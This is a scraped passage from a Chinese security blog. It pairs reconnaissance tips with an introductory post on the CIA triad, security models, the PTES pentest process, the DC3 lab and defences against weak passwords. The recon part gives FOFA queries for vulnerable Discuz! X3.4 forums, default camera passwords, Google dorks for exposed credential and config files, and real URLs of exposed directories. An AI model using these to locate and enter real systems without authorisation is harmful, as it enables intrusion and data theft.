则为地区不等于HK,HK表示香港。这样就能够帮我们定位到不包含香港服务器的资产。 通过组合条件使搜索更加精准 (domain="12306.cn" && region!="HK") && body="12306"搜索12306.cn域名排除香港的资产列表,并且body中包含12306 实战-通过使用”FOFA规则列表”搜索CMS资产 搜索:CMS:WordPress FOFA语法:**app=”wordpress” **这样全网使用”wordpress”的资产全部被搜索出来。 有时我们搜索产品的时候可能需要指定对应的版本号进行搜索,但是fofa内置的应用规则中绝大部分是不支持指定版本号进行搜索的,此时可以通过提取页面中的特征来进行定位 discuz论坛现在确定Discuz! x3.4版本存在sql注入漏洞.那如何定位Discuz! x3.4版本的资产呢? 在论坛首页中,查看源代码可以看到对应的版本信息。页面中的信息我们可以通过body参数检索。 构造搜索条件:app="Tencent-Discuz" && body="Discuz! X3.4"搜索中国台湾地区所有的Discuz! X3.4论坛app="Tencent-Discuz" && body="Discuz! X3.4"&& region="TW"网络摄像头"JAWS" && icon_hash="90066852":这个JAWS的默认密码是 无密码 || 111111 || 666666 || 888888"DVRDVS-Webs"海康威视摄像头弱口令测试:超级用户:admin超级用户:123456 123456789101112131415161718# 其他示例#搜索HTTP响应头中含有“thinkphp”关键词的网站和IPheader="thinkphp"#搜索页面标题中含有“后台管理”关键词的网站和IPtitle="后台管理"#搜索html正文中含有“管理后台”关键词的网站和IPbody="管理后台"#搜索根域名中带有“itellyou.cn”的网站domain="itellyou.cn"#搜索域名中带有"login"关键词的网站host="login"#搜索开放3388端口并且位于中国的IPport="3388" && country=CN#搜索指定IP或IP段ip="120.27.6.1/24"ip="120.97.56.1"#搜索同时开启3306端口、443端口和22端口的IPports="3306,443,22" 需要注意的是fofa语句不是一成不变的,同一个目标单位的查询关键词可能有好几个,同时在信息收集的过程中也可能发现新的关键词,比如备案号、传真、客服电话等,这些东西往往是唯一的。搜索别人没有搜的关键词就可能发现别人没发现的资产,就可能拿到别人没拿到的shell,需要灵活运用。 Google搜索引擎使用技巧我们通常使用搜索引擎都是直接搜索自己想要的内容,正常情况下我们都是直接使用语言进行描述问题 来进行搜索,然后搜索引擎也有特定语法可以使用,熟练掌握搜索引擎的语法可以让你的搜索效率和准确率 大幅度提升,当然我们学习这种技巧是为了寻找存在漏洞的页面,或者存在敏感信息的文件 Google常用语法说明 内容 解析 site 指定域名 inurl URL中存在的关键字页面 intext 网页内容里面的关键字 Filetype 指定文件类型 intitle 网页标题中的关键字 link 返回你所有的指定域名链接 info 查找指定站点信息 cache 搜索Google里的内容缓存 1234567891011121314151617181920212223242526# 例子:“xxxx”:将要搜索的关键字用引号括起来(表示完全匹配,即关键词不能分开,顺序也不能变)+: site:jiangjiyue.com +baidu.com # 搜索xxx与baidu.com相关的内容-:site:jiangjiyue.com -baidu.com # 搜索结果里面去除baidu.com相关的内容intext: xx # 查找网页中含有xx关键字的网站例:intext:管理员登录intitle: xx # 查找某个标题例:intitle:后台登录filetype:xx # 查找某个文件类型的文件例:filetype:docinurl:xx # 查找url中带有某字段的网站 例:inurl:php?id=?id=site:xx # 在某域名中查找信息例:site www.jiangjiyue.com 例一intitle:index.of .bash_history(linux历史命令) .bash_history表示我们要筛选的文件名称,也可以替换成其他的敏感信息文件,该文件记录了用户的历史命令记录 http://www.lamardesigngroup.com/homedir/http://www.lamardesigngroup.com/homedir/ 例二查找mysql的配置文件my.cnf intitle:index.of my.cnf https://www.artila.com/download/9200/Linux/Utility/mysql-all/mysqld/etc/https://www.artila.com/download/9200/Linux/Utility/mysql-all/mysqld/etc/ 例三查找discuz论坛中存储mysql密码的配置文件:config_global.php intitle:index.of config_global.php 例四cache:12306.cn cache返回的结果是被搜索引擎收录时的页面,比如一些页面被删除了,我们通过cache还是可以访问。 例五Kali filetype:torrentKali是我们要搜索的关键字,至于同学们关心什么奇怪的内容老师就不知道了。 filetype指定文件类型torrent文件类型名称,torrent是种子文件,可以填写任意扩展名。 例七intext:user.sql intitle:index.of 组合使用技巧 intext:user.sql查询包含user.sql用户数据库信息的页面 intitle:index.of表示网站目录是开放状态. 我们可以看到有很多页面都包含了敏感信息 https://castle.eiu.edu/~pingliu/php/sql/https://castle.eiu.edu/~pingliu/php/sql/ 常见最新漏洞公布网站http://www.exploit-db.comhttp://www.exploit-db.com http://www.exploit-db.com/http://www.exploit-db.com/ http://www.securityfocus.comhttp://www.securityfocus.com http://www.cnvd.org.cn/http://www.cnvd.org.cn/ http://www.nsfocus.nethttp://www.nsfocus.net https://www.securitylab.ru/vulnerability/https://www.securitylab.ru/vulnerability/ http://cve.mitre.orghttp://cve.mitre.org http://vulhub.org.cn/indexhttp://vulhub.org.cn/index https://www.anquanke.com/https://www.anquanke.com/ https://nvd.nist.gov/https://nvd.nist.gov/ https://www.seebug.org/https://www.seebug.org/ Github信息泄露监控https://github.com/0xbug/Hawkeyehttps://github.com/0xbug/Hawkeye https://github.com/MiSecurity/x-patrolhttps://github.com/MiSecurity/x-patrol https://github.com/VKSRC/Github-Monitorhttps://github.com/VKSRC/Github-Monitor https://github.com/search/advancedhttps://github.com/search/advanced 12# 如搜索包含 aliyuncs 和 password 的代码:aliyuncs password 资产收集神器 https://jiangjiyue.github.io/2024/02/04/466824cf/https://jiangjiyue.github.io/2024/02/04/466824cf/","tags":["信息安全","信息收集","渗透测试"]},{"title":"Security-全方位探索网络安全","path":"/2024/02/12/7564e3ff/","content":"总字符数: 17.24K 代码: 无, 文本: 14.25K 预计阅读时间: 1.03 小时 信息、信息安全以及网络安全的基本概念信息 1948年,数学家香农在题为”交流数学理论”的论文中指出:”信息是用来消除随机不确定性的东西.“,宇宙中所有事物的最基本的创造单位是信息. 信息:指音频、消息、通信系统中传输和处理的对象,是指人类社会传播的一切内容.(本身是无形的,可以寄存在纸张、大脑记忆、磁盘等.) 信息的功能:它可以减少事物的不确定性.(可以理解为事物本身和外部环境的互动关系). 消息:消息用于广泛的应用中.新鲜事物被称为消息.(消息是信息的笼统概念,信息则是消息的精确概念.) 数据:数据是信息的符号表示或者称为载体;信息是数据的内涵,是数据的语义解释.(密码本身是一串数据无价值,但是赋予它某个平台,它就是一条有用的信息.) 信息技术 信息技术(Information Technology , IT),是用于管理和处理信息所采用的各种技术的总称.(一般用在计算机科学和通信技术来设计、开发、安装和实施信息系统及应用软件.) 信息技术的发展: 第一阶段:电讯技术的发明(电磁技术的发展,贝尔(Bell)发明电话机) 第二阶段:计算机技术的发展 (电子管计算机,主要运用于军事处理) 第三阶段:互联网的使用(计算机网络发展成为全球性网络——因特网Internet) 第四阶段:网络社会(云计算,物联网进入各行各业,与人类社会息息相关) 信息安全 信息安全就是信息本身的安全(无关乎是否应用了计算机作为信息处理的手段). 在网络基础上指信息网络的硬件、软件及其系统中的数据受到保护不受偶然的或者恶意的原因而遭到破坏、更改、泄露以及系统连续可靠正常地运行,信息服务不中断. 在商业经济领域上指信息的完整性,保密性,不可否认性等. 信息安全是一门涉及计算机科学、 网络技术、 通信技术、 密码技术、 信息安全技术、应用数学、数论、信息论等多种学科的综合性学科. ISO(国际标准化组织)的定义为: 为数据处理系统建立和采用的技术、管理上的安全保护,为的是保护计算机硬件、软件、数据不因偶然和恶意的原因而遭到破坏(涉及可用性),更改(涉及完整性)和泄露(涉及机密性). 这里面既包含了层面的概念,其中计算机硬件可以看作是物理层面,软件可以看作是运行层面,再就是数据层面;又包含了属性的概念. 网络安全 网络安全(Cyber Security):网络系统的硬件、软件及系统中的数据受到保护,不因偶然的或者恶意的原因而遭到破坏、篡改、泄露,系统连续可靠正常地运行,网络服务不被中断。 网络安全和信息安全的区别 包含和被包含的关系:信息安全包含网络安全,信息安全还包括操作系统安全、数据库安全、硬件设备和设施安全、物理安全、人员安全、软件开发、应用安全等。 针对的设备不同:网络安全侧重于研究网络环境下的计算机安全,信息安全侧重于计算机数据和信息的安全。 侧重点不同:网络安全更注重在网络层面,比如通过部署防火墙、入侵检测等硬件设备来实现链路层面的安全防护,而信息安全的层面要比网络安全的覆盖面大的多,信息安全是从数据的角度来看安全防护。 通常采用的手段包括:防火墙、入侵检测、代码审计、渗透测试、风险评估等,安全防护不仅仅是在网络层面,更加关注的应用层面,可以说信息安全更贴近于用户的实际需求及想法 网络空间网络空间具有网络安全威胁高隐蔽性、网络安全技术高密集性、网络安全控制地理区域不可限制性、网络安全防护时间不可区分性、网络攻防严重非对称性的特点。 2016年国家发布了《国家网络空间安全战略》 2017年6月1日实施《中华人民共和国网络安全法》 信息系统 信息系统是具有集成性的系统,每一个组织中信息流动的总和构成一个信息系统.是输入、处理、输出的综合体. 信息系统的安全分为: 设备安全 数据安全 内容安全(符合法律法规) 行为安全(强调的是软硬件工作) 过程的安全(保证系统的安全可控) 从安全模型理解信息系统安全 ​ 本质上讲,网络安全就是网络上的信息安全,是指网络系统的硬件、软件和系统中的数据受到保护,不受偶然的或者恶意的攻击而遭到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。 ​ 广义上讲,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全所要研究的领域。 扩展在信息安全领域,经过长期的实践和研究总结出了CIA三元组概念.它们是信息安全的基本原则,用来确保数据和系统的安全性、完整性和可信度实践经验:长期以来,信息安全专业人员在保护数据和系统方面积累了丰富的经验。通过观察实际案例、分析攻击手段和漏洞,他们发现了保密性、完整性和可用性对于信息安全的重要性。学术研究:学术界对于信息安全领域进行了深入的研究,探索了各种安全威胁和防御机制。在这个过程中,研究者们逐渐发现了保密性、完整性和可用性作为信息安全的核心概念,并将其提出。标准和框架:国际组织和标准化机构(如ISO、NIST等)为信息安全制定了一系列标准和框架。这些标准和框架强调保密性、完整性和可用性的重要性,并将其作为信息安全管理的核心原则。 信息安全的概念 保密性(CONFIDENTIALITY):确保数据和信息只能被授权的人或实体访问和查看。通过使用加密技术、身份验证和访问控制等方法,防止未经授权的访问和泄露。 完整性(INTEGRITY):确保数据和信息在传输、存储和处理过程中不被篡改、损坏或修改。使用数据校验和完整性验证机制,如哈希函数、数字签名和访问日志等,以保证数据的完整性。 可用性(AVAILABILITY):确保系统和服务在需要时可用和正常运行。通过实施冗余和备份策略、灾备计划、故障恢复机制等,以提供持续的可用性和业务连续性。 可控性(CONTROLLABILITY):确保对系统和资源的访问和操作可以被有效地管理和控制。通过实施访问控制、权限管理、审计跟踪和安全策略等措施,确保只有授权的用户可以进行合法的访问和操作。 不可否认性(NON REPUDIATION):确保发送方和接收方都无法否认已发送或接收到的数据或交互行为。通过使用数字签名、时间戳和审计跟踪等技术手段,可以提供不可抵赖的证据,防止交易和操作的双方否认其行为。 保密性(confidentiality)与Integrity(完整性)和Availability(可用性)并称为信息安全的CIA三要素 这三个特性被选定为CIA三元组的原因相互独立:保密性、完整性和可用性是相互独立的概念,每个特性都关注信息安全的不同方面。保密性关注数据的机密性和访问控制,完整性关注数据的完整性和防止篡改,可用性关注系统和服务的可用性和正常运行。它们共同构成了一个全面的信息安全框架。平衡性:保密性、完整性和可用性之间存在一种平衡关系。在信息安全管理中,需要权衡这三个特性,以满足组织的安全需求。例如,过于强调保密性可能会降低可用性,过于强调可用性可能会牺牲保密性等。因此,将它们作为三元组,有助于我们在信息安全设计和实现中找到适当的平衡点。综合性:保密性、完整性和可用性涵盖了信息安全的核心要素。除了这三个特性之外,还有其他特性如真实性、不可抵赖性等,但它们通常可以被归类为保密性、完整性和可用性的子属性。因此,CIA三元组提供了一个全面而简洁的框架,使我们能够系统地考虑信息安全的关键方面。综上所述,保密性、完整性和可用性之所以被选定为CIA三元组,是因为它们相互独立、平衡且综合地涵盖了信息安全的核心要素。这个三元组框架在实践中被广泛接受,并成为设计和评估信息安全措施的基础。 安全思维模型一:CIA Triad CIA Triad原则就是一切的攻防手段都是围绕着保密性(C)、完整性(I)、可用性(A)三原则展开的。 保密性:【保密性实际上是它的本质就是信息越界】这个边界实际上是有两类:一:时间边界;二:空间边界。时间边界就是说还没到那个时间点,他提前给放出来。比方说我们说高考试卷,每年的高考语文试卷不到6月7号上午9点,九点之前你弄出来了,这就是一个重大的泄密。再说空间边界,这个信息从你的内网跑到外网去了,从本来是只能张三李四知道是变成了王五知道。这就是一个跨越了空间的边界,信息它跨越了非授权、非受控的空间边界,它就是一种信息的泄密,保密性遭受破坏。 完整性:【完整性是指信息的它原本的状态,系统的原本的结构和组成】如果说这信息它原本的状态发生了变化,它比方说从1变成了2,它的组成是从无到有或是结构要素的位置发生了变化、或比例发生了变化,这导致了完整性遭受破坏。 可用性:这一点比较好理解,就是【我需要的时候,这个系统或信息能够去在合理的时间之内获得,就是可用性】这就是所谓的我们说的CIA这个模型. 这三个属性用来确保信息的合法性和可信度 “DAD”模型是一种用于描述和分析数据安全性风险的模型。它关注的是攻击者对数据进行篡改、破坏或泄露的能力和方式,以及这些威胁对数据完整性、可用性和保密性的影响。通过建立”DAD”模型,可以评估数据安全风险,制定相应的安全策略和措施来保护数据。 “DAD”模型通常包含以下几个要素: 数据篡改(Data Alteration):指未经授权的修改或变更数据的内容,可能导致数据不准确、不完整或误导性。 数据破坏(Data Destruction):指对数据进行有意的破坏或删除,使其无法再被使用或恢复。 数据泄露(Data Disclosure):指未经授权的披露或泄露敏感数据,可能导致隐私泄露或其他潜在风险。 安全思维模型二:访问控制模型 大部分的攻击最终都是为了获取相关权限,很多手段都是围绕去获取受害者的身份信息和验证信息(比如密码)。这个模型当中,发起访问的一方就是访问主体,被访问的那方就叫做客体。整个访问就会产生信息流。 在任何一个访问控制系统中,都包含以下四个行为: 身份标示:访问主体在一个确定边界的系统范围被给予唯一的标示,解决你是谁的问题; 身份验证:对访问主体需要做基本的身份验证,解决你宣称就是谁谁谁的问题。 授权:用户身份验证通过后,需要确定用户可以访问哪些资源,以及对资源进行怎样的操作(读、写、删除等)。解决用户能做什么的问题。 审计:对用户的访问行为都记录在案,以备事后追责或改进系统。 安全思维模型三:边界与隔离模型边界和隔离是安全防御的第一手段; 边界与隔离模型是指在网络和系统设计中采用边界和隔离机制来保护系统免受外部攻击和内部滥用。这些模型包括网络边界防火墙、网络分段、虚拟专用网络(VPN)、沙箱环境等,通过划定边界和实施隔离措施,限制不同区域之间的访问和通信,提高系统的安全性。 无论是我们所说远古的长城还是到现在的墨西哥和美国边境之间的隔离墙,边界和隔离都是非常有效的一种最古老、最朴素的技术手段,到现在还在运用。划定边界,以界隔离,大道至简。 安全思维模型四:恶意行为攻击模型 安全思维模型五:风险管理模型 风险识别:这个环节旨在识别和确定潜在的安全风险。通过对组织内外的各种因素进行分析和调查,包括系统漏洞、侵入方式、业务过程等,以识别可能导致安全事件发生的风险源。 风险分析:在风险分析环节,对已经识别出来的风险进行深入分析。这包括评估风险发生的概率、影响程度、持续时间等方面。通过对风险的综合分析,可以得出每个风险的相对优先级,以便在后续的决策过程中进行排序和处理。 风险评估:这一环节旨在对已经分析出来的风险进行定量或定性评估。根据组织的风险承受能力和目标,可以为每个风险分配一个合适的风险等级。评估结果可用于决策制定、资源分配和风险处理的参考。 风险应对:在这个环节中,基于前面的风险评估,制定相应的风险应对策略和措施。这可能包括预防措施(如加强安全培训、修补漏洞)、应急响应计划、备份和恢复策略等。风险应对旨在减轻或消除风险的影响,并防止未来的风险事件发生。 风险管理模型是一种用于评估和管理安全风险的框架或方法,它包括一系列环节,如风险识别、风险分析、风险评估和风险应对等。通过使用风险管理模型,组织可以更好地理解和评估可能对其安全目标造成威胁的各种风险,并制定相应的风险控制策略和措施。 安全思维模型六:安全生命周期模型 ​\t安全生命周期模型(Security Development Lifecycle):安全生命周期模型强调在软件和系统开发过程中整合安全性,包括需求分析、设计、开发、测试和维护等阶段,确保产品的安全性能和可靠性。 介绍靶场渗透实战什么是靶场? ​\t在网络安全领域,靶场指的是模拟真实网络环境、用于进行安全演练、攻击模拟和安全测试的特定环境或系统。靶场提供了一个安全的环境,使安全专业人员能够模拟真实的攻击场景,并测试不同防御策略和技术 靶场可以用于多种目的,包括以下几个方面: 安全演练:靶场模拟各种攻击场景,例如网络入侵、恶意软件感染等,使安全团队能够实时进行应急响应和事件处置的演练,提高应对突发安全事件的能力。 攻击模拟:通过模拟真实的攻击行为,例如渗透测试、红队演练等,安全专业人员可以评估目标系统的安全性,并找出潜在的漏洞和弱点,从而改进和加强防御措施。 安全研究与学习:靶场提供了一个安全的环境,供安全研究人员和学生学习和研究各种安全技术和攻击手法,加深对网络安全的理解和认识。 靶场可以是物理的、虚拟的或混合的环境,可以包括真实网络设备、虚拟机、网络模拟器等。为确保安全,靶场应该被隔离在独立的环境中,以防止攻击对其他系统和网络造成影响。同时,在使用靶场进行测试和演练时,必须遵守法律法规,并获得合法的授权 为什么进行靶场渗透实战?靶场渗透实战对于安全专业人员的成长和技能提升至关重要 靶场渗透实战的优点 实际操作经验:靶场渗透实战提供了真实且可控的环境,在这个环境中进行操作可以使学习者深入了解攻击和防御技术。通过实际操作,他们可以学习到不同类型的漏洞和攻击手法,了解如何利用这些漏洞,以及如何有效地捕捉和分析攻击流量。 安全意识培养:通过参与靶场渗透实战,学习者将被直接暴露在模拟的攻击环境中。他们有机会亲自感受到攻击造成的影响,并从中认识到安全问题的重要性。这种体验可以有效地提高他们对网络安全的关注度和理解能力,培养出积极主动的安全意识。 深入了解安全漏洞:靶场渗透实战提供了一个模拟的系统和网络环境,使学习者能够全面了解各种安全漏洞和弱点。他们可以主动寻找和利用这些漏洞,了解它们的工作原理和可能导致的风险。这种深入了解能够让学习者更好地规划和实施安全措施,提高整体的网络安全性。 团队协作与合作能力:靶场渗透实战通常需要多人合作完成。学习者要团结合作,共同攻克难题。这样的实战训练不仅可以培养他们的团队协作和沟通能力,还能锻炼问题解决能力和决策能力。 增强解决问题的能力:靶场渗透实战对学习者的解决问题的能力提出了较高的要求。在实际操作中,学习者需要分析和评估系统的漏洞和脆弱点,并设计并执行相应的攻击和防御策略。这种思考和解决问题的能力是靶场渗透实战的重要收获,也是学习者在实际工作中非常宝贵的技能。 将靶场实战与安全模型相结合网络安全测试流程当进行网络安全测试时,我们通常会按照以下流程进行。 前期交互阶段,这包括确定目标IP地址以及与客户进行沟通和了解需求。 信息收集阶段,在这个阶段我们使用工具如nmap和arp-scan进行扫描,收集有关目标系统和网络的信息。 威胁建模阶段,我们根据收集到的信息和端口情况制定一个攻击路线和威胁模型。 漏洞分析阶段,我们根据攻击路线逐一分析系统和网络是否存在漏洞,并进行相应的POC(Proof of Concept)收集。 完成漏洞分析后,我们进入渗透攻击阶段,使用合适的exploit工具来获取目标系统的访问权限。 后渗透攻击阶段,我们通过提权等方式进一步获取root权限并维持权限,同时进行日志清理等操作以隐藏我们的痕迹。 渗透测试报告阶段,我们将整个测试过程的发现整理成报告,提供给客户以供参考和修复漏洞。 其实上面的流程就是来自于一个被广泛接受的标准是PTES,即Penetration Testing Execution Standard。它提供了一个全面的方法论来指导渗透测试的执行。PTES帮助测试团队按照一致的流程和标准进行工作,以确保测试的质量和实用性 靶场渗透测试实战简介在接下来我们要演示的DC3靶场中,我们将使用一系列工具和技术来进行渗透测试,包括主机存活检测、端口服务扫描、网站指纹收集、漏洞扫描、SQL注入、John密码破解、Webshell连接以及内核提权。 主机存活检测: 使用网络工具(如ping、ICMP)确认目标主机是否在线。主机存活检测是渗透测试的第一步,在攻击之前需要先确认目标是否可达。 端口服务扫描: 使用端口扫描工具(如nmap)扫描目标主机上开放的网络服务。通过识别开放的端口和服务,我们可以了解目标系统的架构和可能存在的潜在漏洞。 网站指纹收集: 通过检查目标网站的HTTP响应头、元数据等信息,收集网站的特征和版本信息。这有助于我们针对特定漏洞或弱点进行更有针对性的渗透测试。 漏洞扫描: 使用专业的漏洞扫描工具(如Nessus、OpenVAS)对目标主机进行扫描,以发现已知的安全漏洞。漏洞扫描帮助我们识别系统中存在的脆弱点,并为后续的攻击提供目标。 SQL注入: 利用对数据库进行恶意操作的漏洞,尝试执行恶意SQL语句,以获取数据库中的敏感信息。SQL注入是常见的网络应用程序漏洞之一,渗透测试中需要重点关注和利用。 John密码破解: 使用密码破解工具(如John the Ripper)对明文或散列密码进行破解。通过猜测密码或破解散列值,我们可以获取系统用户的凭据,进而获取更高的访问权限。 Webshell连接: 通过漏洞攻击或弱密码等方式获取Web服务器的权限,并建立与服务器的远程shell连接。Webshell是一个常用的攻击手段,可让我们远程执行命令和操纵目标系统。 内核提权: 利用漏洞或配置错误来提升对系统的访问权限,获取管理员或Root级别权限。内核提权是渗透测试中的高级技术,通过利用操作系统的漏洞来获取最高权限。 DC3-WriteUP 安全问题的重要性大家可以思考一下,在我们刚刚的实战过程中 获取了哪些信息?这是答案1得到了哪些权限?这是答案2哪些是因为配置不当造成的这是答案3哪些是因为未及时更新造成的这是答案3 这些所有简单的问题其实都是我们的安全问题,由此可见安全问题的重要性 保护机密信息:许多安全问题涉及到保护敏感信息的机密性和完整性。如果未经授权的人员可以访问或修改敏感信息,那么可能会导致数据泄露或其他严重后果。 防止黑客攻击:根据安全行业的普遍认知,黑客在攻击一个目标之前通常会尝试利用一些已知的漏洞,或通过社交工程等方式攻击目标的弱点。了解并识别这些攻击向量,能够帮助我们在保护我们的系统免受黑客攻击的同时,提高我们的安全意识。 减少业务风险:安全问题可能会导致数据丢失、数据泄露、破坏业务连续性等问题,这些问题可能会带来巨大的财务和声誉损失。因此,了解各种安全问题的重要性,并采取相应的安全措施来优化安全威胁的效果,可以减少业务风险。 安全问题 - 弱密码 ​\t弱密码是指易于猜测、推测或破解的密码,由于其缺乏复杂性、长度和随机性,容易受到各种攻击方式的威胁。以下是弱密码可能带来的危害: 安全性降低:弱密码容易被猜测或通过暴力破解等手段获取,这将导致用户帐号和系统的安全受到威胁。攻击者可以通过获得弱密码来越过访问控制,进而盗取个人信息、进行未经授权的活动,甚至入侵整个系统。 越权访问和数据泄露:使用弱密码的用户可能会被攻击者盗取其帐号,进而获取越权访问权限。攻击者可以利用这些权限访问敏感信息、私人数据和财务记录,从而导致数据泄露和隐私泄露问题。 被挟持和滥用:弱密码使用户更容易受到社会工程学攻击,例如钓鱼、密码重置和身份欺诈等。攻击者可以通过伪装成合法机构或服务提供商,引诱用户输入其登录凭据,从而控制用户帐号并进行滥用。 影响他人安全:如果用户在多个平台或服务中使用相同的弱密码,一旦其中一个帐号被攻破,攻击者就可以尝试在其他地方重复使用相同的凭据。这将给其他用户和相关系统带来潜在的安全威胁和风险。 企业和组织受损:在企业环境中,如果员工使用弱密码来保护企业资产和系统,企业可能面临数据泄露、业务中断、声誉受损等严重后果。此外,弱密码也给企业的安全管理和合规性带来挑战。 对应的安全模型:访问控制模型 弱密码与访问控制密切相关:弱密码可能导致未经授权的访问系统和资源。访问控制模型是确保只有授权用户可以访问系统和资源的机制,因此弱密码直接涉及访问控制问题。 弱密码影响身份验证:弱密码容易被猜测、破解或使用暴力攻击进行登录尝试。身份验证是访问控制的核心组成部分,而弱密码会直接影响身份验证的有效性和安全性。 访问控制模型解决弱密码问题:访问控制模型通过权限管理、身份验证和授权机制等手段限制用户对系统和资源的访问权限。弱密码是访问控制模型需要解决和管理的问题之一。 解决和预防弱密码问题 强制密码策略:实施一套强制的密码策略,包括要求密码长度、复杂性(如数字、字母和特殊字符的组合)、定期更换密码等。这将提高密码的复杂性并降低猜测或破解密码的风险。 多因素身份验证(MFA):采用多因素身份验证机制,例如结合密码与手机验证码、指纹识别、硬件令牌等。即使密码被破解,攻击者也无法通过第二个因素进行验证。 教育和培训用户:提供密码安全的教育和培训,教育用户选择强密码、避免使用常见的密码、不共享密码等好的安全实践。 密码管理工具:推荐用户使用密码管理工具来生成和管理强密码。这些工具能够自动生成随机且强大的密码,并将其加密保存在一个安全的数据库中。 定期审查密码:定期对系统和用户的密码进行审核,检查是否存在弱密码并提醒用户修改。管理员可以使用密码破解工具或密码策略审核工具来辅助识别弱密码。 锁定账户和限制登录尝试:实施账户锁定机制,当用户连续多次登录失败时,暂时锁定账户,以防止恶意攻击者进行暴力破解密码。 使用单点登录(SSO)和身份提供商(IdP):通过使用SSO和IdP,可以减少用户需要记住的密码数量,从而降低弱密码问题的风险。 安全问题 – 漏洞利用 ​\t漏洞利用(Vulnerability Exploitation)是指攻击者利用软件、系统或网络中的漏洞,通过输入特定的数据或执行恶意代码等手段,成功入侵目标系统或获取未经授权的权限。 未经授权访问:漏洞利用可以使攻击者绕过访问控制机制,进入受攻击的系统、应用程序或网络。攻击者可以获取管理员权限、访问敏感信息、操纵和删除数据,甚至完全控制目标系统。 数据泄露和隐私泄露:通过漏洞利用,攻击者可以获取包括个人身份信息、财务数据、健康记录等敏感信息。这些数据泄露可能导致个人隐私受到侵犯,进而被用于身份盗窃、欺诈和其他非法活动。 业务中断和系统崩溃:某些漏洞利用技术可以导致目标系统崩溃、服务中断或不可用。攻击者可以通过发送恶意数据包、执行拒绝服务(Denial of Service,DoS)攻击来占用系统资源,使业务无法正常运行,给企业和用户带来巨大影响。 恶意代码传播:漏洞利用可以用于传播恶意软件、病毒和蠕虫等恶意代码。攻击者可以通过利用系统或应用程序中的漏洞实施远程执行代码(Remote Code Execution,RCE),将恶意代码注入到目标系统中,进而传播到其他系统和网络。 对应的安全模型:边界与隔离模型 漏洞利用往往可以通过攻击系统的弱点或漏洞来入侵系统。在边界与隔离模型下,重要的是将系统划分为不同的边界区域,每个区域都有特定的安全策略和访问控制规则。这样可以限制漏洞利用的传播和影响范围,即使一部分系统受到攻击,其他区域仍然可以保持相对安全。 限制攻击面:通过设置边界和隔离控制,可以减少系统暴露在外部攻击的机会。攻击者需要首先突破边界才能进一步进行漏洞利用。 损失隔离:将系统划分为不同的区域和层次可以减轻漏洞利用的潜在影响。即使一个区域受到攻击,其他区域仍然可以保持相对安全。 访问控制:边界与隔离模型注重实施严格的访问控制策略。只有经过授权的用户或实体才能穿越边界并访问相应的资源。 维护容错性:通过隔离和分段的设计,边界与隔离模型可提高系统的容错性。即使一个区域出现漏洞利用或故障,其他区域仍然可以正常运行。 解决和预防漏洞利用问题 漏洞管理:建立一个系统化的漏洞管理流程,包括漏洞扫描、漏洞评估和漏洞修复。定期检查和修补系统和应用程序中的已知漏洞,确保及时更新和安装安全补丁。 访问控制和权限管理:实施严格的身份验证、访问控制和权限管理机制,限制对系统和敏感数据的访问。根据最小权限原则,对每个用户或角色分配最低必要权限。 网络安全措施:部署防火墙、入侵检测系统(IDS)和入侵预防系统(IPS)等网络安全设备,监测和阻断恶意流量。定期进行网络漏洞扫描和安全审计。 应用程序安全:开发安全的应用程序,包括使用安全编码实践、输入验证、输出过滤、安全配置和错误处理机制。进行应用程序漏洞扫描和代码审计,修复和消除潜在的漏洞。 持续监测和响应:建立安全事件监测和响应机制,包括实时监控、日志分析和安全事件响应策略。及时检测和处理异常行为和潜在的漏洞利用活动。 安全更新和漏洞通告:定期关注安全厂商和供应商发布的安全更新和漏洞通告。确保及时跟踪并采取必要的行动来解决已知的漏洞。 安全审计和合规性:定期进行安全审计和风险评估,确保系统符合安全标准和合规性要求。根据审计结果,改进安全策略和控制措施。 安全问题 – 数据泄露 数据泄露指的是未经授权或非法方式导致敏感信息、个人数据或机密信息被披露、公开或泄露的事件。这些信息可以包括但不限于个人身份信息、银行账号、信用卡信息、健康记录、商业机密等。 个人隐私暴露:当个人敏感信息被泄露后,个人的隐私权可能受到侵犯。攻击者可能利用这些信息进行身份盗窃、欺诈活动或其他非法行为。 金融损失:银行账号、信用卡信息等被泄露后,攻击者可以通过盗取资金、进行非法交易或滥用信用卡等方式导致受害者遭受经济损失。 信誉受损:组织遭受数据泄露事件后,其信誉和声誉可能受到损害。公众对该组织的信任度可能降低,客户和合作伙伴可能会转向竞争对手,从而对组织造成负面影响。 知识产权风险:商业机密、专有技术或研究成果等的泄露可能导致知识产权受损。竞争对手或其他不良方进行恶意盗取、复制、使用或披露,给组织带来重大经济损失。 组织运营受阻:数据泄露事件可能导致系统瘫痪、服务中断或业务操作受到干扰。这可能会造成生产停滞、客户流失、员工不信任等问题,对组织的正常运营造成重大影响。 对应的安全模型:安全生命周期模型 安全生命周期模型被视为与数据泄露有关的安全思维模型,因为它提供了一个全面、前瞻且持续的框架,帮助我们在整个软件或系统的生命周期中集成和管理安全性,从而更好地预防和应对数据泄露风险。 全面性:安全生命周期模型提供了一个全面的安全开发和管理框架,涵盖了软件或系统的整个生命周期。在每个阶段中,都集成和考虑了安全性,从需求分析到设计、开发、测试、部署和维护等各个环节。数据泄露通常与系统或应用程序的某个环节存在关联,因此在整个生命周期中集成安全性能够更好地降低数据泄露的风险。 防患于未然:安全生命周期模型强调在早期阶段识别和解决安全问题,以防止数据泄露等安全漏洞的出现。通过在需求分析和设计阶段考虑安全需求和安全措施,可以在后续的开发和测试过程中更好地建立起安全性。这种前瞻性的思维模式有助于减少潜在的数据泄露风险。 持续性:安全生命周期模型将安全性视为一个持续的过程,而不是一次性的解决方案。在软件或系统的整个生命周期中,需要不断地进行安全性评估、漏洞修复和风险管理等工作。通过持续地关注和改进安全性,可以更好地应对新的威胁和漏洞,并及时采取相应的措施来预防数据泄露等安全问题。 解决和预防数据泄露问题 实施数据分类:数据分类可以根据数据的敏感程度和重要性将数据分为不同级别,然后为每个级别分配合适的保护措施。比如公司内部有些数据只能供内部团队查看,而不是每个员工都可以访问。 强化系统访问控制:限制系统访问权限可以控制员工和外部人员对数据的访问,从而减少数据遭到不当使用或泄露的风险。为每个用户分配权限,并定期审查和更新这些权限。 加密数据:加密是一种有效的保护数据隐私和防止数据泄露的方法。可以利用数据库、文件夹或通信线路进行数据加密,确保数据在传输和存储过程中的安全性。 监控数据访问和使用:监控数据访问和使用可以帮助企业及时发现和处理可能的数据泄露事件。例如,记录所有数据访问和操作,使用报警系统以及实施审计和监控,可以使管理者在数据流出问题发生之前了解到问题。 